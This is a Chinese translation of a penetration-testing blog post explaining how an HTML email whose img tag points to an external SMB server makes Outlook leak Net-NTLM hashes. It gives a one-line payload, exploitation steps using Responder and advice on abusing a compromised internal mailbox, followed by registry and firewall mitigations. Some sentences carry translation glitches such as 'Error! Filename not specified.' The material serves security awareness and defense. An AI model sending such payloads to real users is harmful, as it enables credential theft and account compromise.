导语:几个月前,CERT/CC的Will Dormann发表了一篇博文 ,描述了一种技术,即对手可能会滥用Microsoft Outlook和OLE对象,这是微软Windows早期的一个特性,迫使操作系统泄漏Net-NTLM哈希。
介绍
几个月前,CERT/CC的Will Dormann发表了一篇博文 [1],描述了一种技术,即对手可能会滥用Microsoft Outlook和OLE对象,这是微软Windows早期的一个特性,迫使操作系统泄漏Net-NTLM哈希。
去年我们撰写了一篇博文 [2],通过滥用常见的Web应用程序漏洞(如跨站点脚本(XSS)和服务器端请求伪造(SSRF))来阐述了NTLM哈希泄漏的一些内容,从而实现了同样的目标,获得我们都喜欢且珍惜的系统哈希。除非你熟悉Windows单点登录如何在公司网络中进行身份验证,否则我们建议你先阅读我们之前发布的文章,然后再继续。
在Blaz Information Security团队中,我们已经使用了一段时间,成功率很高,类似的技术迫使MS Outlook泄露NTLM哈希,除了阅读特制的电子邮件之外几乎没有其他交互。就在最近,当我们在写这篇博客时,NCC集团在他们的博客发表[5]了一篇文章,讲述了我们已经使用以及其他细节相同的技术,所以我们决定公布我们的解释,我们使用的方法以及如何减轻这个问题带来的风险。
SMB-to-NTLM哈希攻击的简史
在1997年3月发布到Bugtraq邮件列表中(是的,21年前),Aaron Spangler在Internet Explorer和Netscape Navigator版本中公布了一个漏洞 [3],该漏洞通过嵌入Error! Filename not specified. 的字样的带有SMB共享的'src'值的标签来实现此种攻击而不是HTTP或HTTPS页面。这将强制Windows使用修改后的SMB服务器启动NTLM身份验证,该服务器可以获取用户的Net-NTLM哈希值。
有趣的是,Aaron的Bugtraq帖子也暗示了身份验证协议的理论缺陷,后来被称为SMBRelay攻击,但它们仅在几年后出现。
临近2016年,一位名叫ValdikSS的俄罗斯安全研究员在Medium上写了 [6]似乎是Spangler 19年前所做的同一实验的现代复制品,对原始攻击向量几乎没有任何修改。
滥用Microsoft Outlook窃取Net-NTLM哈希值
本文所公布的技术要比使用CERT / CC公布的技术更有优势,利用将OLE对象嵌入到RTF,DOC或PDF中的可能性,可能使受害者对于集成了安全软件的电子邮件服务器完全信任。这种技术利用了Outlook的处理带有图片的HTML消息和1997年Bugtraq的文章中所描述的方法。嵌入图片的HTML电子邮件非常流行,特别是在企业环境中,并且不太可能被反病毒软件和电子邮件网关屏蔽或阻止。
Net-NTLM哈希将通过SMB流量泄露给外部伪造的SMB服务器,如Responder(我们为了演示选择使用这个工具),Core Security的Impacket中的smbrelay或ntlmrelay,甚至是自定义SMB服务器都可以用来作为伪造的SMB服务器。
简而言之,攻击的工作原理是向受害者发送HTML格式的电子邮件,嵌入的图片指向外部的SMB服务器。该图片可以是例如基于HTML的电子邮件签名。客户端将自动启动针对恶意服务器的NTLM身份验证,最终泄漏客户端的哈希值。
在某些情况下,从受害者的角度来看,成功与否取决于客户端的Outlook是如何配置在HTML格式的电子邮件中渲染图片的,可能会有关于打开外部内容的警报,这可能暗示这是一个异常行为。然而,对于许多Outlook用户来说,必须单击警告以呈现图片,这是很常见的事情,因此这不会对此利用向量构成较大的障碍。有时我们也会在较慢的连接中从远程SMB服务器获取内容之前注意到一个非常快速的弹出窗口,这也是一种不太可能引起怀疑的常规事件。
经常将Outlook配置为在发件人受信任时自动展示图片 – 通常的信任关系是指发件人在企业组织内部。例如,将带有Error! Filename not specified.指向恶意SMB服务器的标签的HTML格式的电子邮件从[email protected]发送到[email protected],将使[email protected]的Outlook客户端自动显示电子邮件并且会泄漏NTLM哈希。这在渗透测试人员或红队人员已入侵的目标企业组织中的单个电子邮件帐户的情况下是非常有用的,并且将使用它来单独或通过将发送垃圾邮件的电子邮件发送到分发来危害其他用户名单。
即使在某些情况下,这种技术并不像Will Dormann所描述的那样隐蔽,但事实证明它在我们的许多活动中非常有效,这应该放在你的攻击工具箱中。
值得注意的是,Net-NTLM哈希不能用于Pass-the-Hash攻击,与纯NTLM哈希不同,它们可以使用像hashcat这样的现成工具进行中继(在某些情况下)[9]或破解。
漏洞利用步骤
尽管利用该漏洞所需要的只是发送一封HTML格式的电子邮件,这意味着可以使用任何电子邮件客户端甚至脚本来自动化这种攻击,在本节中我们将描述如何实现这一点。我们打算使用Microsoft Outlook本身来利用这种漏洞。
1)创建包含以下内容的HTML文件:
<html> <img src="file:///10.30.1.23/test">Test NTLM leak via Outlook </html>
上面的IP地址仅供参考,并仅在我们的实验室中使用。它可以是任何IP或主机名,包括远程地址。
2)向目标创建电子邮件。将HTML有效载荷添加为附件,但使用“作为文本插入”选项,以便它能够以HTML格式创建电子邮件。
3)受害者在不需要有任何进一步互动的情况下打开电子邮件:
4)目标的Net-NTLM哈希值由我们启动的Responder自动捕获:
此漏洞利用中的一个重要的要求显然是目标在端口445上能够连接到攻击者的SMB服务器的能力。一些ISP默认阻止了此端口,而其他许多ISP则没有。有趣的是,微软维护了一个小型列表 [7]的ISP,它们不会过滤对端口445的出站访问。
如何防止此安全问题的发生
再次说明一点,本文中描述的问题是来自Windows的设计决策,并且已知20多年来它可以在无数场景中被滥用。
有几种不同的方法可以缓解这种不安全行为带来的影响。
将注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV10中的RestrictSendingNTLMTraffic的值设置为2可以降低这种风险的暴露,因为Windows将不再发送NTLMv1身份或NTLMv2的哈希作为与服务器通信的挑战,无论SMB服务器是合法的还是伪造的。
但是,它可能会破坏正常功能和单点登录机制,尤其是在严重依赖NTLM身份验证的企业网络中。
在2017年,微软还发布了针对Windows 10和Windows Server 2016的缓解方案[4],该缓解方案使用Windows防火墙阻止NTLM SSO身份验证使用未标记为内部的资源,拒绝公共资源的NTLM SSO身份验证,最终限制了当受到攻击者操作的SMB服务器等外部服务的挑战时,Net-NTLM哈希的泄露问题。默认情况下不会激活此功能,用户必须通过明确将更改应用于注册表来选择加入。
从网络安全的角度来看,可以通过定义禁止SMB连接到达非白名单的外部服务器的防火墙规则来减轻这种漏洞的负面影响,或者如果可以将其视为一种选择,甚至可以更好地阻止所有外部SMB连接。
结论
尽管NTLM认证已有二十多年的历史,但它们经常被忽视,存在与NTLM认证相关的安全风险。利用这些漏洞的门槛是非常低的,并给企业组织带来了严重的风险,特别是从内部威胁的角度来看,或者是一个被入侵的帐户场景来看。防止这个问题并非易事,但可以通过一些最新的微软补丁和其他精心思考的策略来限制NTLM流量。
也许有一天微软会发布补丁或服务包,以防止Windows在任何地方泄露NTLM哈希。
参考
[1] https://insights.sei.cmu.edu/cert/2018/04/automatically-stealing-password-hashes-with-microsoft-outlook-and-ole.html
[2] https://blog.blazeinfosec .com/leveraging-web-application-vulnerabilities-to-steal-ntlm-hashes-2 /
[3] http://insecure.org/sploits/winnt.automatic.authentication.html
[4] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014
[5] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/smb- hash-hijacking-and-user-tracking-in-ms-outlook /
[6] https://medium.com/@ValdikSS/deanonymizing-windows-users-and-capturing-microsoft-and-vpn-accounts-f7e53fe73834
[ 7] http://witch.valdikss.org.ru/
[8]https://social.technet.microsoft.com/wiki/contents/articles/32346.azure-summary-of-isps-that-allow-disallow-access-from-port-445.aspx
[9] https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html